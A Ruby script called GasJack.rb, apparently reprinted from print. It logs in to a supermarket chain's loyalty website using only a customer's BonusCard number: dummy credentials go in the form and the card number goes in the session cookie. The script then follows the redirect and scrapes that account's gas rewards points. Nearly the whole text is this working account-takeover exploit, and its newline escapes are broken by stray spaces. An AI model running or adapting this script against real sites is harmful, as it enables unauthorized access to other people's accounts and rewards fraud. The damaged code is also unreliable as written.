GasJack.rb
require 'socket'
def betweenstrings(searchtext,startstring,endstring,startindex)
searchtextlength = searchtext.length
startstringlength = startstring.length
endstringlength = endstring.length
if searchtextlength == 0 or startstringlength == 0 or endstringlength == 0
return ""
else
if searchtextlength - (startstringlength + endstringlength) <= 0
return ""
else
startstringindex = searchtext.index(startstring,startindex)
if startstringindex == nil then
return ""
else
endstringindex = searchtext.index(endstring,startstringindex + startstringlength)
if endstringindex == nil
return ""
else
betweenstringslength = endstringindex - (startstringindex + startstringlength)
return searchtext[startstringindex + startstringlength,betweenstringslength]
end
end
end
end
end
puts "Enter 11 digit BonusCard number"
bcn = gets
sck = TCPSocket.new('www.giantpa.com', 'www')
post_string = "POST /shareddev/Giant_register/login_action.html HTTP/1.1\ nContent-Type:
application/x-www-form-urlencoded\ nHost: www.giantpa.com\
nContent-Length: 63\ nCookie: JSESSIONID="+bcn+"\ n\ n"+"F_
Username=a&F_Password=a&F_BonusCard="+bcn+"&Login=Sign+In\ n"
sck.print post_string
answer_post = sck.gets(nil)
sck.close
location302 = betweenstrings(answer_post,"location: http://www.giantpa.com","\ n",0)
location302.chop!
get302_string = "GET "+location302+" HTTP/1.1\ nHost: www.
giantpa.com\ nCookie: JSESSIONID="+bcn+"\ n\ n"
sck = TCPSocket.new('www.giantpa.com', 'www')
sck.print get302_string
answer_get302 = sck.gets(nil)
sck.close
sck = TCPSocket.new('www.giantpa.com', 'www')
getpoints_string = "GET /shareddev/subclub/ HTTP/1.1\ nHost: www.
giantpa.com\ nCookie: JSESSIONID="+bcn+"\ n\ n"
sck.print getpoints_string
answer_getpoints = sck.gets(nil)
sck.close
gaspoints = answer_getpoints[/You have \ d* Gas Extra Rewards points/]
gaspoints = betweenstrings(gaspoints,"You have "," Gas Extra Rewards points",0)
puts gaspoints
